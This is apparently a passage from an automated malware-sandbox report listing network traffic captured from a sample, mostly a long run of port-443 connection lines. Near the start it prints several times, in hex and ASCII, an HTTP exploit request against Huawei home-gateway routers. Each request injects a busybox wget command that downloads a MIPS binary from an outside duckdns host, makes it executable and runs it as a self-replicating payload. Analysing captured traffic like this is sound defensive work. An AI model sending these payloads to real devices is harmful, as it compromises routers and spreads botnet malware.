3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: GET Data Raw: Data Ascii: |
Source: unknown | Network traffic detected: HTTP traffic on port 58570 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 56274 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 36430 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 39940 |
Source: unknown | Network traffic detected: HTTP traffic on port 45650 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 50726 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 59554 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 35102 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 39936 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 35584 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 40920 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 58224 |
Source: unknown | Network traffic detected: HTTP traffic on port 54654 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 55196 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 49738 |
Source: unknown | Network traffic detected: HTTP traffic on port 38712 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 50744 |
Source: unknown | Network traffic detected: HTTP traffic on port 40912 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 36898 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 36130 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 45372 |
Source: unknown | Network traffic detected: HTTP traffic on port 59814 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 37868 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 38290 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 56048 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 40912 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 36898 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 60540 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 33396 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 40916 |
Source: unknown | Network traffic detected: HTTP traffic on port 52072 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 44324 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 60544 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 52934 |
Source: unknown | Network traffic detected: HTTP traffic on port 36796 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 43182 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 51602 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 43182 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 46692 |
Source: unknown | Network traffic detected: HTTP traffic on port 33048 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 51606 |
Source: unknown | Network traffic detected: HTTP traffic on port 35950 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 36412 |
Source: unknown | Network traffic detected: HTTP traffic on port 50108 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 37480 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 39914 |
Source: unknown | Network traffic detected: HTTP traffic on port 36760 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 35562 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 59572 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 39916 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 56064 |
Source: unknown | Network traffic detected: HTTP traffic on port 53856 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 49680 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 38024 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 60558 |
Source: unknown | Network traffic detected: HTTP traffic on port 44176 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 46204 |
Source: unknown | Network traffic detected: HTTP traffic on port 58078 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 44020 |
Source: unknown | Network traffic detected: HTTP traffic on port 58684 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 52942 |
Source: unknown | Network traffic detected: HTTP traffic on port 33552 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 33366 |
Source: unknown | Network traffic detected: HTTP traffic on port 52506 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 59588 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 59582 |
Source: unknown | Network traffic detected: HTTP traffic on port 46758 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 47282 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 58730 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 56070 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 48858 |
Source: unknown | Network traffic detected: HTTP traffic on port 45720 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 46272 |
Source: unknown | Network traffic detected: HTTP traffic on port 57850 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 57328 |
Source: unknown | Network traffic detected: HTTP traffic on port 48792 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 33642 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 57324 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 36478 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 38646 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 58662 |
Source: unknown | Network traffic detected: HTTP traffic on port 49426 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 40968 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 34290 |
Source: unknown | Network traffic detected: HTTP traffic on port 49120 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 47116 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 47114 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 46266 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 47110 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 44084 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 48442 |
Source: unknown | Network traffic detected: HTTP traffic on port 42908 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 36462 |
Source: unknown | Network traffic detected: HTTP traffic on port 44782 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 55542 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 35376 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 35126 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 58676 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 60980 |
Source: unknown | Network traffic detected: HTTP traffic on port 60692 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 34280 |
Source: unknown | Network traffic detected: HTTP traffic on port 60344 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 46258 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 60984 |
Source: unknown | Network traffic detected: HTTP traffic on port 34624 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 38486 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 41492 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 51434 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 38632 |
Source: unknown | Network traffic detected: HTTP traffic on port 34890 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 59524 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 56016 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 34268 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 58684 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 34274 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 55172 |
Source: unknown | Network traffic detected: HTTP traffic on port 33118 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 39992 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 50718 |
Source: unknown | Network traffic detected: HTTP traffic on port 53246 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 54736 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 56070 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 37144 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 50726 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 45392 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 58688 |
Source: unknown | Network traffic detected: HTTP traffic on port 44336 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 35596 |
Source: unknown | Network traffic detected: HTTP traffic on port 48940 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 56950 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 39948 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 35592 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 56032 |
Source: unknown | Network traffic detected: HTTP traffic on port 54450 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 46236 |
Source: unknown | Network traffic detected: HTTP traffic on port 40216 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 50336 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 38692 |
Source: unknown | Network traffic detected: HTTP traffic on port 53778 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 50334 |
Source: unknown | Network traffic detected: HTTP traffic on port 48558 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 36592 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 59720 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 48988 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 40524 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 40528 |
Source: unknown | Network traffic detected: HTTP traffic on port 52968 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 49338 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 52528 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 54704 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 53856 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 48002 |
Source: unknown | Network traffic detected: HTTP traffic on port 56930 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 38202 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 46298 |
Source: unknown | Network traffic detected: HTTP traffic on port 37550 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 36492 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 38672 |
Source: unknown | Network traffic detected: HTTP traffic on port 46022 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 36498 |
Source: unknown | Network traffic detected: HTTP traffic on port 45000 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 52882 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 60156 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 36008 |
Source: unknown | Network traffic detected: HTTP traffic on port 48534 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 53978 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 41836 |
Source: unknown | Network traffic detected: HTTP traffic on port 43060 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 54474 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 56908 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 47130 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 39992 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 51692 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 39994 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 37336 |
Source: unknown | Network traffic detected: HTTP traffic on port 49196 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 40976 |
Source: unknown | Network traffic detected: HTTP traffic on port 35896 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 34280 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 41822 |
Source: unknown | Network traffic detected: HTTP traffic on port 40212 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 40974 |
Source: unknown | Network traffic detected: HTTP traffic on port 40084 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 52162 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 51606 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 33948 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 53808 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 38252 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 49386 |
Source: unknown | Network traffic detected: HTTP traffic on port 48276 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 32942 |
Source: unknown | Network traffic detected: HTTP traffic on port 45130 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 39106 |
Source: unknown | Network traffic detected: HTTP traffic on port 41214 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 60574 |
Source: unknown | Network traffic detected: HTTP traffic on port 48150 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 36412 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 60570 |
Source: unknown | Network traffic detected: HTTP traffic on port 57302 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 41414 |
Source: unknown | Network traffic detected: HTTP traffic on port 41550 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 52968 |
Source: unknown | Network traffic detected: HTTP traffic on port 60872 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 56172 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 36060 |
Source: unknown | Network traffic detected: HTTP traffic on port 41328 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 37664 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 40968 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 59208 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 56860 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 47454 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 59124 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 41404 |
Source: unknown | Network traffic detected: HTTP traffic on port 44246 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 35852 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 37632 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 60104 |
Source: unknown | Network traffic detected: HTTP traffic on port 36830 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 51648 |
Source: unknown | Network traffic detected: HTTP traffic on port 52244 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 59588 -> 443 |
